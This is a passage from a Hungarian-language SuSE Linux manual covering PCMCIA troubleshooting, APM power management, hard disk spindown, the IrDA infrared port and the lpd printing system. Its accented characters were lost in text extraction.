11.1. PCMCIA Ez az! A fentiek befejez dse utn egy j binris csomag jn ltre a o /usr/src/packages/RPMS alatt, ha ugyanazt a rendszermagot szeretnnk hasznlni ms rendszerekhez. 11.1.5 Ha a dolgok mg mindig nem mukdnek

Nhny notebooknak problmja van bizonyos PCMCIA krtykkal. A legtbb knnyen megoldhat, amikor mdszeresen utna nznk a dolognak. El szr ellen rizzk, hogy a problma a krtyval van-e, vagy magval a o o PCMCIA alaprendszerrrel. Ehhez indtsuk el a gpet krtya nlkl. Miutn az alaprendszer megfelel en m kdik, tegynk be egy krtyt. Minden o u fontos zenetet megtallunk a /var/log/messages llomnyban. Ezt az informcit megtekinthetjk a
meggyfa: # tail -f /var/log/messages

paranccsal, mialatt a szksges ellen rzsek futnak. Ezt elvgezve lesz kto u hetjk a problmt az albbi kett r l egyre. oo A PCMCIA alaprendszer nem mukdik rendesen Ha a rendszer lefagy az indts alatt, miutn megjelenik a "PCMCIA: Starting services:" zenet, vagy ms furcsa dolog trtnik, megakadlyozhatjuk a PCMCIA elindulst, ha a kvetkez indtskor megadjuk o a NOPCMCIA=yes paramtert a indt promptnl (LILO:) . A rendszer elindulsa utn kell betltennk a modulokat, egyiket a msik utn, kzzel, a modprobe pcmcia_core, modprobe i82365 paranccsal vagy igen ritka esetekben modprobe tcic s a modprobe ds paranccsal. A kritikus modulok minden esetben az els k. o Ha problma merl fel amikor a pcmcia_core-t betltjk, megoldst tallhatunk a man pcmcia_core paranccsal megjelenthet kziknyvlapoo kon. Az itt lert lehet sgeket leellen rizhetjk a modprobe parancs segtso o gvel. Az ltalunk hasznlt pldban a PnP tmogats ("Plug-and-Play") lefagyasztja a rendszert, amikor a pcmcia_core betlt dik. Ebben az eseto ben a PnP tmogatst deaktivlnunk kell a do_pnp=0 paranccsal. Ennek ellen rzshez adjuk hozz ezt a modulopcit a modprobe-hoz az albbiak o szerint:
meggyfa: # modprobe pcmcia_core do_pnp=0

Ha ez az opci hatsos, be kell lltanunk a PCMCIA_CORE_OPTS vltozt a /etc/rc.config-ban: PCMCIA_CORE_OPTS="do_pnp=0"-ra. Ez alapbl tartalmazza a do_pnp=0 opcit, gy ha szksgnk van PnP tmogatsra, t kell lltanunk ezt az opcit 1-re. Ha tbb opcit akarunk hasznlni, azokat szkzzel kell oket elvlasztanunk egymstl:
PCMCIA_CORE_OPTS="do_pnp=0 probe_io=0"

Ha a problma akkor merl fel, amikor az i82365 modult tltjk be, erre megoldst tallhatunk a man i82365 kziknyvlapon. Ez a hiba, er forrs konktus eredmnye, ami azt jelenti, hogy vagy egy mego szaktskrsen (interrupt), vagy egy memriaterleten kt eszkz osztozik. Az i82365 modul ellen rzi az ilyen megosztsokat, de nha pontosan ez az o 341

11. Laptop-ok PCMCIA, APM, IrDA ellen rzs vezet a problmhoz. Pldul a 12-es megszaktskrs (PS/2 eszo kzk) hasznlata, nhny szmtgpen az egr s/vagy billenty lefagysu hoz vezethet. Ebben az esetben az irq_list=<IRQ_lista> paramter segt. E listban szerepelnie kell az sszes megszaktsnak, amelyet az alaprendszer hasznl, az albbi szintakszissal:
meggyfa: # modprobe i82365 irq_list=5,7,9,10

vagy llandan a /etc/rc.config-ban:


PCMCIA_PCIC_OPTS="irq_list=5,7,9,10"

Ezen tlmen en van mg kt fjl, amit a Cardmanager hasznl. o A /etc/pcmcia/config s a /etc/pcmcia/config.opts. Az e fjlokban lv belltsokat hasznljuk a PCMCIA krtykhoz a meghajt o modulok betltsre. Az IRQ-kat, IO-portokat s memria terleteket ugyancsak megadhatjuk a /etc/pcmcia/config.opts fjlban. A klnbsg ekztt, s a fenti opci kztt az, hogy amikor er forrsokat nem o jellnk ki ebben a fjlban, a PCMCIA krtya nem hasznlja azokat, de az i82365 alap rendszermodul mg mindig ellen rzi azokat. o A PCMCIA krtya nem mukdik (rendesen) Hrom hiba lehetsges: A krtya nem rzkelhet megfelel en, er forrs o o o koniktust eredmnyezett a krtya, vagy nincs tmogatva a krtya. Ha a krtyt nem rzkeli megfelel en, akkor az o "unsupported card in Slot x" zenet (nem tmogatott krtya az x csatlakozban) fog megjelenni a /var/log/messages-ben. Ez az zenet csak azt jelenti, hogy a Cardmanager nem tud megfelel en kijellni egy o meghajtt. A /etc/pcmcia/config-ot hasznljuk erre a clra. Ez, hogy gy mondjuk egy "meghajt adatbzis". E "meghajt adatbzis"-t b vto hetjk jabb bejegyzsekkel, a meglv bejegyzseket pldaknt hasznlva. o A cardctl ident parancs segtsgvel meghatrozhatjuk a szksges krtyaazonost informcit. Tovbbi informcik err l a tmrl a PCMCIA-HOWTO-ban, valamint a o man pcmcia kziknyvlapokon tallhatk. A /etc/pcmcia/config megvltoztatsa utn jra kell tltennk azt a rcpcmcia reload paranccsal. ltalban mondva teljesen mindegy, hogy milyen IRQ-t, vagy IO portot hasznl egy PCMCIA krtya, addig amig ezek nincsenek megosztva ms eszkzkkel (CD-ROM a 2. IDE-vezrl n: IRQ 15; soros vagy IrDA port: IRQ 3, o IRQ 4; hang, nyomtat: IRQ 5, 7). Er forrs koniktus esetn, ezeket meg o kell hatroznunk a /etc/pcmcia/config.opts llomnyban. Ha a problma tovbbra is fennll, ezeket a belltsokat pontosabban meghatrozhatjuk, modulopciknt a config.opts-ban. Pldul, ha a pcnet_cs modulnak az IRQ 5-t kell hasznlnia, az albbi bejegyzst kell alkalmaznunk:
module "pcnet_cs" opts "irq_list=5"

A legtbb elrhet opci lersa megtallhat a megfelel kziknyvlapoko o ban3 . Ha a kziknyvlapok nem tartalmazzk a szksges informcit, tbb
3

tlet: rpm -ql pcmcia | grep man kiadja az sszes pcmcia kziknyvlap listjt.

342

11.2. Az APM energiatakarkossg vezrlse opci olvashat a man i82365-ben, vagy vgs esetben a vlasz megtallo hat a modul forrskdjban. . . A 10/100 Mbit-es hlzati krtykkal egy kzs problma van: az tviteli rtket nem rzkelik megfelel en. Ebben az esetben az ifport parancs seo gtsgnkre lehet. Segtsgvel az tviteli rtk kimutathat s megvltoztathat; lsd a man ifport-ot. A megfelel rtket megadhatjuk az IFPORT o vltozban a /etc/pcmcia/network.opts-ban. 11.1.6 Telepts PCMCIA-n keresztl

Nhny esetben PCMCIA tmogats szksges a SuSE Linux teleptshez. Ehhez a linuxrc-ben a PCMCIA Modul betlts-t kell vlasztanunk a Kernel-Modul (Hardver meghajtk) menpontban. Kt res mez fog megjelenni, itt meghatrozhatjuk az opcikat a o pcmcia_core s az i82365 modulok szmra. ltalban ezek a mez k resen hagyhatk. A pcmcia_core s az i82365 kziknyvlapok o szvegfjlknt megtallhatk az els CD-n a docu knyvtrban. Telepts o alatt rendszerzenetek jelennek meg tbb virtulis konzolon, ezek lthatv 4. Alt + F<x> tehet k a kvetkez billenty kre o o u A telepts els rsze utn a rendszer rszlegesen, vagy teljesen jraindul. o Nagyritkn a rendszer lefagy, amikor a PCMCIA rendszert elindtja. A telepts llapota ekkor mr b ven elg arra, hogy hasznljuk a NOPCMCIA=yes o indtsi opcit, hogy a Linuxot PCMCIA tmogats nlkl indtsuk, legalbbis szveges mdban. Tovbbi informci tallhat err l a 11.1.5 . fejeo zetben (341. oldal). 11.1.7 Egyb segtsgnyjt programok A cardctl programot mr tbbszr emltettk. A cardctl fontos eszkz a PCMCIA eszkzr l szl informcik megszerzshez s/vagy bizonyos ino tzkedsek vgrehajtshoz. Rszletek tallhatk a man cardctl-ban; vagy egyszer en adjuk ki a cardctl parancsot, hogy egy listt kapjunk a u parancs opciirl. A programnak van grakus fellete is, amely a cardinfo paranccsal indthat el (lsd a 11.1 brt). A legtbb opci ugyan vezrelhet vele, de sajnos o nem vlthatunk a "smk" kztt. A KDE bartai hasznlhatjk a kardinfo programot is. Ez az eszkz alapjban vve ugyanaz, mint a cardinfo. Tovbbi segtsget tallhatunk a pcmcia csomagban az ifport, ifuser, probe s rcpcmcia parancsokban, habr ezek nem tl gyakran kellenek a mindennapi munkban. Az sszes dolog felfedezshez, ami a pcmcia csomagban van, hasznljuk az rpm -ql pcmcia parancsot.

11.2
4

Az APM energiatakarkossg vezrlse


A YaST2 -ben Ctrl + Alt + F<x> billenty ket kell hasznlnunk, mert a YaST2 az X u Window System alatt fut.

343

11. Laptop-ok PCMCIA, APM, IrDA

11.1 bra: PCMCIA Krtyainf 11.2.1 Az alapok

Az APM (energiatakarkossg vezrls) hasznlhat, felttelezve, hogy a szksges hardver s BIOS szolgltatsok lteznek. A legtbb notebook s asztali gp tartalmazza ezt, br ezek az energiatakarkossgi m veletek rendu szerint csak a mobil szmtgpeknl fontosak. A m veleteket az albbiaku ban rjuk le: Kszenlt (Standby) Ebben az zemmdban a kperny ki van kapcsolva, o s nhny gpen, a processzor is kevesebb ramot kap. zemllapot mentse memriba (Suspend to memory) Ebben az zemmdban minden rendszerinformcit a RAM-ba r s az egsz rendszer besznteti m kdst. gy a gp nagyon kevs energit hasznl; u olyan keveset, hogy valjban a gp (akkumultorrl) ebben a mdban kpes 12 rtl, akr nhny napon keresztl is menni. Az el nye ennek, o hogy msodperceken bell folytathatjuk munknkat ugyanazon a ponton ahol abbahagytuk, anlkl, hogy jraindtannk a gpet vagy brmely programot. Ez az, ahol a Linux hasznlata rdekess vlik soha nem kell a gpet kikapcsolnunk ms opercis rendszerek bizonytalann (unstable) vlhatnak ezalatt. A legtbb modern notebooknl csak be kell csuknunk a fedelt, ezltal beszntetjk ideiglenesen (suspending) a rendszert. Ks bb kinyitva azt, egyszer en folytatjuk a munkt. o u Hibernls (llapot mentse lemezre) Ebben az zemmdban a gp tvszelheti a telet. Ugyanis minden informcit felr a merevlemezre, majd a rendszert lelltja. A visszatrs a rendszerbe kb. 30 - 90 msodpercig tart, majd a rendszer visszall arra a pontra, ahol elhagytuk. Egyes gyrtk a felfggeszts s hibernls rdekes keverkt knljk. Akkumultor ellen rzs Nagyon rdekes. o Automatikus kikapcsols rdekes, asztali gpekre. A "lezrs (shutdown)" utn a gp teljesen kikapcsol. Merevlemez tpellts kikapcsolsa Ez a m velet nemcsak energit tau kart meg, hanem hangos merevemezeknl elkerlhetjk a stresszt. Prob344

11.2. Az APM energiatakarkossg vezrlse lma merlhet fel azonban pldul, ha pl. egy szerkeszt program rendo szeresen, automatikusan elmenti a vltozsokat, jra s jra visszakapcsolva a meghajtt. E m veletek kzl nhnyat a BIOS nllan is meg tud valstani. A "ku szenlt", s az "zemllapot mentse memriba" funkci meghvhat sok notebook-on billenty kombincikkal vagy egyszer en a fedl lecsuksval u u is. Az opercis rendszernek nem kell semmit tenni e m veletek rdekben, u habr a megfelel rendszermag s csomagok teleptse esetn, ezek parano csok segtsgvel is meghvhatk. Ez segtsgnkre lehet, ha intzkedseket akarunk megtenni minden alkalommal, amikor az adott mdot meghvjuk. 11.2.2 A megfelel rendszermag o

A fejlett APM m veletekhez olyan rendszermag kell, ami tmogatja ezeket. u A legtbb szabvnyos SuSE rendszermag tartalmazza ezeket a m veleteket. u A cat /proc/apm paranccsal leellen rizhetjk, hogy ezeket a m veleo u teket tmogatja-e a fut rendszermag. Ha megjelenik egy sor klnbz o szmokkal, minden rendben, plne, ha a shutdown -h parancs le is zrja a gpet. Mivel nhny BIOS nem tmogatja megfelel en a szabvnyt, nha o furcsa dolgok trtnhetnek. Nhny problma ezekb l megoldhat, specilis o rendszermag belltsok hasznlatval. Tovbbi informcik tallhatk a Tmogatsi Adatbzisunkban a http://sdb.suse.de/sdb/en/html cmen, vagy a "Linux Laptop Homepage" alatt a http://www.cs.utexas.edu/users/kharker/linux-laptop cmen. 11.2.3 Az APM dmon

A apmd dmon (az apmd csomag az ap kszletben), arra szolgl, hogy gyelje az akkumultort, s tegye meg a megfelel intzkedseket, amikor a o "kszenlt" vagy az "zemllapot ments" elindul. Ez a csomag nem mindig szksges, de gyakran hasznlhat. Azrt, hogy elinduljon rendszerindtskor, a START_APMD vltozt a /etc/rc.config-ban yes-re kell lltani. Elindthatjuk az rcapmd start paranccsal is. Tbb vltoz is bellthat a /etc/rc.config.d/apmd.rc.configban. Mivel ez a fjl megjegyzseket is tartalmaz arrl, hogyan lltsuk be ezeket a vltozkat, ezrt itt nem fogunk rszletekbe menni. A PCMCIA a SuSE Linux-ba APM tmogats nlkl kerlt bele. Akik nem akarjk jrafodtani a PCMCIA csomagot, bellthatjk a PCMCIA_SUSPEND_ON_SUSPEND vltozt yes-re. Nhny krtya, azonban elveszti m kd kpessgt felfggeszts utn. Ebben az esetben u o drasztikusabb mdszert kell hasznlnunk a vltoz belltsra: PCMCIA_EJECT_ON_SUSPEND=yes. Ha az id helytelen az zemllapot elmentse utn, lltsuk a o SET_CLOCK_ON_RESUME vltozt yes-re. 345

11. Laptop-ok PCMCIA, APM, IrDA Ha problma merl fel az X Window System-mel amikor a rendszer felbred, megolds, ha a vltozt gy lltjuk be: LEAVE_X_BEFORE_SUSPEND=yes. Bellthatjuk a merevlemez "spindown" viselkedst akkumultoros mdhoz, vagy kzlhetjk a gppel, hogy zrja le a gpet, amikor az akkumultor elr egy kritikusan alacsony szintet. Halad felhasznlk maguk is hozzadhatnak funkcikat a /usr/sbin/apmd_proxy fjlban. 11.2.4 Tovbbi parancsok

A apmd -nak van mg egypr hasznos programja. Az apm-mel leellen rizo hetjk az akkumultor tnyleges kapacitst, s kszenltbe tehetjk a rendszert (apm -S), vagy elmenthetjk az zemllapotot (apm -s); lsd mg a man apm parancsot. Az apmsleep parancs elaltatja a rendszert egy meghatrozott id re; lsd o mg a man apmsleep parancsot. A naplfjlok meggyelshez, hasznljuk a tailf parancsot a tail -f helyett, ezzel elkerlvn, hogy a merevlemez llandan forogjon. Vannak mg eszkzk az X Window System-hez is, pl. az xapm parancs, ami grakusan megjelenti az akkumultor llapott. Ha a KDE-t hasznljuk, vagy legalbb a kpanel -t a kbatmon program megmutatja az akkumultor llapott s fel tudja fggeszteni vagy elaltatni a rendszert. 11.2.5 A merevlemez szneteltetse

A merevlemez kikapcsolhat a hdparm programmal, amikor nincs r szksg. Ennek a programnak vannak ms hasznos merevlemezfunkcii is. A meghajt kszenlti (standby) mdba tehet a -y opcival, vagy teljesen kikapo csolhat a -Y-nal. A meghajt automatikusan kikapcsoldik 30 msodperc utn a hdparm -S 6 opcival. A szm, egy 5 msodperces intervallum tbbszrst jelenti (pldnkban 6, gy 6 5 = 30). Ez a funkci kikapcsolhat a 0 rtkkel. Nagyobb szmokkal az intervallum is emelkedik, tovbbi informcik tallhatk a program kziknyvlapjaiban. A /etc/rc.config.d/apmd.rc.config-ban bellthatjuk a kszenlti viselkedst attl fgg en, hogy a gp honnan kapja az ramot, a fali kono nektorbl, vagy akkumultorrl, de ha ezt csinljuk, gy z djnk meg arrl, o o hogy a CHECK_TIME vltozt 0-ra lltottuk. Mivel a merevlemezre gyakran szksg van, az altats (sleep) funkci legtbbszr hasznlhatatlan. Sok program, pldul a szvegszerkeszt k, rendo szeresen rnak ideiglenes adatokat a lemezre. Olyan programok is, amelyeket els sorban segtsgnyjtsra terveztek (pl. a tail -f <naplfjl>), o gyakran okozzk ezt. Megoldja a problmt ha a tailf <naplfjl> parancsot hasznljuk helyette. Mg akkor is amikor egyik ilyen program sincs hasznlatban, vannak eljrsok amelyek a merevlemezt felbresztik az alvsukbl. Fontos tudnunk, hogy az adatok nem rdnak fel kzvetlen a merevlemezre, hanem a rendszermag ltal nyjtott trolba (buffer). Ezzel az rsi m veleti sebessge felgyorsul. Van azonban egy frisst -dmon (Update-Dau o emon), ami rendszeres id kznknt szinkronizlja a lemezt s gondoskodik o 346

11.3. Az IrDA Infravrs port a trolsrl. Ez a dmon a 2.2.11-es kernel ta a rendszermagba van integrlva, s nem lehet vltoztatsok nlkl kikapcsolni, vagy helyettesteni a "mobile update daemon"-nal. Viszont megvltoztathatjuk ezt a viselkedst a /proc fjlrendszerrel. A
meggyfa: # cat /proc/sys/vm/bdflush

parancs megmutatja a tnyleges belltst. A


meggyfa: # echo "60 500 64 256 6000 60000 3000 1884 2" > /proc/sys/vm/bdflush

paranccsal aktualizlhatjuk a belltsokat. Ha meg akarjuk vltoztatni ezt, nzzk meg a /usr/src/linux/Documentation/proc.txt fjlt az egyes szmok rtelmezsrt. Kzzel is szinkronizlhatjuk a merevlemezt a sync paranccsal.

11.3

Az IrDA Infravrs port

Az IrDA (Infra-red Data Association), ipari szabvny a vezetknlkli kommunikcira, ami a fny infravrs tartomnyt hasznlja. Sok mai laptopnak van IrDA kompatibilis ad/vev je amely lehet v teszi a kommunikcit ms o o eszkzkkel, mint nyomtatk, modemek, LAN-ok, vagy ppen ms laptopok. Az tviteli rtk klnbz , 2400 bps-t l egszen 4 Mbps-ig. o o A Linux rendszermagban a tmogats ehhez a protokollhoz mg nem teljes. A projekt mg mindig "ksrletinek" tekinthet (bta llapot). Ezrt o ez a funkci mg nincs benne a szabvny rendszermagban. Ez arra utal, hogy a meghajt mg nincs teljesen leellen rizve s taln nem olyan stabil, o mint a rendszermag ms rszei. A szoftver A irda csomag tmogatst nyjt az infravrs portokhoz ugyangy, mint maghoz az IrDA protokollhoz. Dokumentcijt a csomag teleptse utn a /usr/share/doc/packages/irda/README alatt tallhatjuk meg. A howto csomaggal telepthetjk (tbbek kztt) az IR-HOWTO-t is. Telepts utn megtallhat a /usr/share/doc/howto/en/IR-HOWTO. gz alatt. Tovbbi informcikat kaphatunk a Linux IrDA-Project-r l az o albbi cmen: http://www.cs.uit.no/linux-irda/ Bellts Norml teleptsnl a START_IRDA, az IRDA_PORT s az IRDA_IRQ vltozk a /etc/rc.config fjlban belltsra kerlnek. ltalban az IrDA hasznlata deaktivlva van, de a kvetkez paranccsal: o
meggyfa: # rcirda start

kzzel aktivlhatjuk a portot. Deaktivls a stop paramterrel. Amikor aktivljuk, a szksges rendszermagmodulok betlt dnek. o Az IRDA_PORT-tal (alaprtelmezsben a /dev/ttyS1) s az IRDA_IRQval (alaprtelmezsben 3) bellthatjuk az IrDA portot; ezeket a 347

11. Laptop-ok PCMCIA, APM, IrDA /etc/irda/drivers szkript lltja be, amikor az infraport tmogatst aktivljuk. Ha a START_IRDA-nak a yes rtket adjuk, az infravrs port tmogats rendszerindtskor aktivldik. Sajnos az IrDA meggyelhet en tbb rao mot fogyaszt az gynevezett "discovery" csomagok miatt, amelyeket nhny msodpercenknt bocsjt ki, ms IrDA kommunikci portos eszkzket keresve. Alkalmazs Ahhoz, hogy nyomtassunk az infravrs port hasznlatval, a nyomtatsi adatokat a /dev/irlpt0 eszkzfjlra kell kldennk. Ennek az eszkzfjlnak ugyanazok az attribtumai, mint a norml "kbeles" /dev/lp0 portnak, a klnbsg csak az infravrs fnnyel trtn vezetk nlkli adattvitelben o van. A YaST -ot hasznlva bellthatunk egy nyomtatt, hogy ezt a portot hasznlja, ugyanazon a mdon, ahogy prhuzamos vagy soros port nyomtatt lltunk be (lsd a 3.6.1 . fejezetben (104. oldal)). Amikor nyomtatunk, a nyomtatnak a szmtgp ltszgben kell lennie, s az IrDA tmogatst el kell indtanunk. Ha kommuniklni akarunk ms szmtgpekkel, mobil telefonokkal vagy ilyesmivel, a /dev/ircomm0 eszkzfjlt hasznlva tehetjk ezt meg. A Siemens S25 tpus mobiltelefonnal, pldul a wvdial program hasznlatval elrhetjk az Internetet. Hibakeress Ha az eszkz nem vlaszol, amikor az infraportot hasznljuk, leellen rizo hetjk, hogy a szmtgp megtallta-e az eszkzt, ehhez root-knt az irdadump parancsot hasznljuk:
meggyfa: # irdadump

Egy Canon BJC-80 nyomtat esetn, amit gpnk "lt", rendszeres id kzno knt az albbi kimenetet fogjuk kapni (lsd a 11.3.1 kperny listt). o
21:41:38.435239 21:41:38.525167 21:41:38.615159 21:41:38.705178 21:41:38.795198 21:41:38.885163 21:41:38.965133 5b62bed5 > ffffffff S=6 s=0 (14) 5b62bed5 > ffffffff S=6 s=1 (14) 5b62bed5 > ffffffff S=6 s=2 (14) 5b62bed5 > ffffffff S=6 s=3 (14) 5b62bed5 > ffffffff S=6 s=4 (14) 5b62bed5 > ffffffff S=6 s=5 (14) 5b62bed5 < 6cac38dc S=6 s=5 BJC-80 \ hint=8804 [ Printer IrCOMM ] (23) 21:41:38.975176 xid:cmd 5b62bed5 > ffffffff S=6 s=* erde \ hint=0500 [ PnP Computer ] (21) xid:cmd xid:cmd xid:cmd xid:cmd xid:cmd xid:cmd xid:rsp

11.3.1 kperny lista: az irdadump o Ha nem kapunk kimenetet vagy az eszkz nem vlaszol, ellen rizzk a port o belltst. A megfelel portot hasznljuk? o Nha az infravrs port a /dev/ttyS2 vagy /dev/ttyS3 eszkzfjl alatt 348

11.3. Az IrDA Infravrs port tallhat vagy az eszkznek nem a 3-as megszakts van kijellve. Ezek a belltsok megvltoztathatk majdnem minden laptopon, a BIOS belltsban. Fontos megjegyezni, hogy csak akkor kommuniklhatunk az IrDA eszkzt hasznlva, ha a msik eszkz, amivel kommuniklni akarunk tmogatja a Printer vagy IrCOMM protokollokat. Specilis programok segtsgvel kommuniklhatunk olyan eszkzkkel is, amelyek az IROBEX Protokollt hasznljk (pl. a 3Com Palm Pilot), (irobex_palm3 vagy irobex_receive, err l b vebb lerst az IR-HOWTO-ban tallunk). Azt, o o hogy melyik protokollt tmogatja az eszkznk, az irdadump kimenetb l o lthatjuk. Ez, a zrjelen bell, az eszkz neve utn ll. Az IrLAN protokoll tmogatsa mg mindig "fejleszts alatt van", s a kvetkez Linux o verzikban benne lesz. Leellen rizhetjk, hogy az IrDA port tnylegesen bocsjt-e ki fnyt. Ehhez o egy norml videkamera kell... az emberi szemmel ellenttben a legtbb videkamera "ltja" az infravrs fnyt.

349

11. Laptop-ok PCMCIA, APM, IrDA

350

12. fejezet

Nyomtatk
Fordtotta: Pet Sndor Lszl o Ha a Linuxot a YaST -tal teleptettk, valszn leg mr megtrtnt az els u o nyomtat bellts ( 3.6.1 . fejezetben (104. oldal)). Ez a fejezet bemutatja e folyamat "lnyegt". Ugyan nem mutatja be minden szemszgb l a dolgot, o de elegend ahhoz, hogy megrtsk a nyomtatsi rendszer alapjait. o

12.1

ttekints: Interfszek, vrsorok s gngyltsek (spooling)

A prhuzamos portok Egy nyomtat ltalban a prhuzamos porton keresztl csatlakozik a gphez. A 2.2.xx sorszm kernelek A 2.2.x-es verzi ta a kernel tartalmazza a prhuzamos portot tmogat alrendszert (parport). Az alrendszer m kdshez ismerni kell a prhuzau mos port fajtjt, hogy a szksges meghajtk tlt djenek be a ( 10.4.3 . feo jezetben (323. oldal)). Jelenleg mr tbb eszkz is csatlakoztathat ugyanahhoz a prhuzamos porthoz egyid ben. Ezenfell a prhuzamos portok szmoo zsa /dev/lp0-al kezd dik (nem pedig /dev/lp1-gyel!). A prhuzamos o porton trtn nyomtatshoz szksg van a parport, parport_pc s az o lp modulok szabvnyos SuSE kernelbe val betltsre. Ezeket rendszerint automatikusan betlti a kmod , azaz a "kernelmodul betlt program" amikor o a nyomtatsi feladat bekerl a vrakozsi sorba (lsd a 377 oldalon). Ha a prhuzamos portot kezel meghajtk nem tallhatk, feltehet en nhny o o kernelparamter megadsra van szksg (lsd a 413 oldalon). Root-knt a nyomtat s az interfsz tesztelse (Rendszeradminisztrtor) kzvetlen adatkldssel, ilyesfle paranccsal lehetsges :
meggyfa: # echo hello > /dev/lp0

vagy
meggyfa: # cat TEXTFILE > /dev/lp0

Noha ez a mdszer m kdik, nem ajnlott e mdszerrel nyomtatni. Helyette u el nysebb a vrsorba (queue) kldeni a nyomtatsi feladatot. A nyomtatsi o vrsor megengedi a nyomtat tbb felhasznl kztti megosztst, s a nyomtatsi feladatok szablyozottabb kezelst. 351

12. Nyomtatk Spooling md s nyomtatsi vrsor A nyomtatk Linux alatt egy spooling rendszeren keresztl rhet k el, ami o azt jelenti, hogy a nyomtatsi feladatok id legesen egy fjlba ment dnek, s o o abban a sorrendben hajtdnak vgre, ahogyan a feladatellen rz program foo o gadta azokat. Ezt a programot lpd dmon-nak hvjuk. Ez biztostja azt, hogy tbb felhasznl tud egyid ben nyomtatsi feladatot kldeni a nyomtatnak o brmifle tkzs kockzata nlkl. A nyomtatnak sznt feladat elkldse utn a felhasznl folytathatja tovbb a munkjt. A nyomtatsi vrsor a kvetkez ket tartalmazza: o egy bejegyzst a /etc/printcap-ban; ahol a vrsor van meghatrozva; egy alknyvtrat, tipikusan a /var/spool/lpd-t, ahol minden nyomtatsi feladatnak van egy adat, s egy ellen rz fjlja. o o Minden vrsort egy nyomtat szolgl ki. Viszont tbb nyomtatsi vrsor is lehet ugyanazon nyomtat szmra. A SuSE Linux tartalmaz egy BSD spooling rendszert, melyet a Kaliforniai Berkeley Egyetemen fejlesztettek ki, s amelyet az lprold csomag tartalmaz. Hagyomnyosan hlzaton keresztli hasznlatra van tervezve, s felttelezi, hogy a TCP/IP protokoll be van lltva s fut. A vrsor akr helyinek, akr tvolinak van belltva, a belltsban csak kis klnbsg van. A nyomtatsi feladat ngy lpsben hajtdik vgre: Az adatfjl bemsoldik a vrakozsi alknyvtrba s hozzrendel dik o egy frissen ltrehozott ellen rz fjl. o o Az adatfjlnak keresztl kell mennie egy sz r programon, ami talaktja uo az adott nyomtatnak megfelel formra (pl. PostScriptre). Ez az talao kts tbb klnll lpst tartalmazhat. Az adatfjl keresztlmegy egy sz r programon, ami talaktja azt uo nyomtat-specikus formtumra (pl. PostScript), t.i. a sz r proguo ram hozza ltre az adatfolyamot nyomtat-specikus formtumban (pl. PostScript, PCL, Esc/P2 stb.). Ez az talakts nha tbb lpsben megy vgbe s a SuSE Linuxban az apslter (az aps csomagban) gondoskodik rla; lsd lejjebb, a 12.3 . fejezetben (357. oldal). A nyomtat tpushoz talaktott fjl ezutn bekerl a vrsorba s ks bb o kinyomtatdik.

12.2

Nyomtatsi vrsorok: futtats s bellts

Vizsgljuk meg milyen szintjei vannak a nyomtatsi feladatnak miel tt a o nyomtats megtrtnne, valamint vizsgljuk meg az ehhez szksges programokat is. A nyomtatsi folyamatrl szl tovbbi informcik megtallhatk az man 1 lpr, man 8 lpd s a man 5 printcap kziknyvoldalakon. 352

12.2. Nyomtatsi vrsorok: futtats s bellts lpr: Tessk sorballni! Az lpr program az "interfsz" a felhasznl s a nyomtatsi vrsor kztt. Egy nyomtatsi feladat rendszerint a kvetkez parancs kiadsval kezd dik: o o
jancsi@meggyfa: > lpr [-Pqueue] text-file

Ha kihagyjuk a -P opcit (a "nyomtat" vrsornak neve), az alaprtelmezs a PRINTER krnyezeti vltozbl kerl kiolvassra. Ha ez nincs belltva, alaprtelmezsknt az lp nv kerl behelyettestsre. Az lpq, lprm s az lpc parancsoknak is azonos az alkalmazsuk (lsd albb). Nem kell szkznek lenni a -P opci s a nyomtat vrsornak neve kztt. Az lpr ellen rzi, hogy ez a vrsor ltezik-e, kiolvasva a /etc/printcap o llomnybl. Ha ltezik, akkor az ellen rz fjl (cffjl), s az adatfjl o o msolata ltrejn a spool alknyvtrban. Ha nagymret a nyomtatand anyag, hasznosabb csak egy csatolst ltesu teni msolat helyett. Ez az lpr -s paranccsal tehet meg. Persze addig nem o lehet a fjlba rni, amg a nyomtatsi feladat vgre nem hajtdik. Az lpr megengedi, hogy meghatrozott sz r t (nyomtat meghajtt) llthasuo sunk be a feladathoz, de ez nagyon ritkn szksges. Tbbet err l a man lpr o paranccsal megjelenthet kziknyvoldalakon olvashatunk, a 12.3 . fejezeto ben (357. oldal). Tovbbi vezrl eszkzk: ttekints o Brmely ebben a rszben lert parancs elfogadja a -P opcit, amivel a feladatot tadhatja egy megadott vrsornak, ahogyan az lpr is teszi. Tovbbi rszletek az idevg kziknyvlapokon tallhatk. root-hozzfrssel kell rendelkezni ahhoz, hogy manipullni tudjuk a nyomtatsi vrsort, pl. ha trlni akarjuk egy msik felhasznl nyomtatst.

353

12. Nyomtatk Az lpq megmutatja a vrsorban lv feladatokat: o


jancsi@meggyfa: > lpq -Pqueue
queue is ready and printing Rank Owner Job Files active newbie 676 Hello.txt 1st newbie 677 letter.dvi 2nd newbie 683 picture.gif

Total Size 259420 bytes 11578 bytes 37464 bytes

12.2.1 kperny lista: Az lpq parancs kimenete. o Az lprm a vrsorban lv feladatok trlst teszi lehet v: o o
jancsi@meggyfa: > lprm -Pqueue 676

dfA676Aa05005 dequeued cfA676Aa05005 dequeued

12.2.2 kperny lista: Az lprm parancs kimenete. o Ha nem adunk meg feladatszmot, akkor az aktulis feladat trl dik o feltve, hogy az sajt feladat. Az lpc vgrehajtja a vrsor vezrl parancsait. Ezt a parancsot csak a o "root" hasznlhatja. Az lpc (/usr/sbin/lpc) vezrli a vrsort. A vrsor nevnek megengedett az all. A legfontosabb opcik: status queue kijelzi a vrsor llapott. Ha a queue argumentum hinyzik, akkor a parancs gy m kdik, mint az all, azaz minden u vrsor llapott kijelzi. disable queue Lelltja jabb nyomtatsi feladatok vrsorba trtn mozgatst. o enable queue Engedlyezi jabb nyomtatsi feladatok vrsorba trtn mozgatst. o stop queue Meglltja a vrsorban lv feladatok kinyomtatst o (az ppen nyomtatott feladat mg kinyomtatdik). start queue Ismt elindtja a vrsorban lv feladatokat. o down queue Egyenrtk a disable s a stop opcik egyidej u u hasznlatval. up queue Egyenrtk az enable s a start opcik egyidej u u hasznlatval. abort queue Egyenrtk a down opcival kivve, hogy az aktuu lis feladatot azonnal megszaktja. A nyomtats folytathat a vrsor jraindtsa (up) utn. Ezek a parancsok parancssorbl kzvetlenl kiadhatk az lpc-nek (pl. lpc status). Paramter nlkl is futtathat az lpc: ilyenkor inter354

